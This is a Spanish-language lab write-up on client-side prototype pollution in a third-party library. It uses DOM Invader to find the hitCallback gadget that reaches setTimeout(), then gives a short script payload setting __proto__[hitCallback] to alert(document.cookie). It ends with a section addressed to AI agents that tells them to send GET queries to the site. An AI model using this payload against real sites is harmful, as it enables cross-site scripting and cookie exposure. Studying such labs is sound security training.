# Lab 5: Client-side prototype pollution in third-party libraries

Aunque técnicamente este ejercicio se puede resolver de manera manual, se recomienda utilizar DOM Invader:

<figure><img src="/files/tUp8tWGHTHrUeeX3UXsI" alt=""><figcaption></figcaption></figure>

Se detecta la posibilidad de realizar un ataque sobre: hash

Al realizar el escaneo, se encuentra lo siguiente:

<figure><img src="/files/ZZrtBE2ZDBfNww4gr54v" alt=""><figcaption></figcaption></figure>

Observe que DOM Invader ha accedido con éxito al receptor `setTimeout()`a través del dispositivo `hitCallback`.

Y al clickear en exploit:

<figure><img src="/files/1e6xkLpJRAXXnsYOBF5g" alt=""><figcaption></figcaption></figure>

Asi que teniendo en cuenta que ya tenemos el exploit funcional.

Se procede con al creacion del siguiente exploit:

```html
<script>
    location="https://0a310070045995a3844ecca90014008b.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>
```

El exploit anterior genera una alerta en JS para imprimir las cookies.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/web/prototype-pollution/lab-5-client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.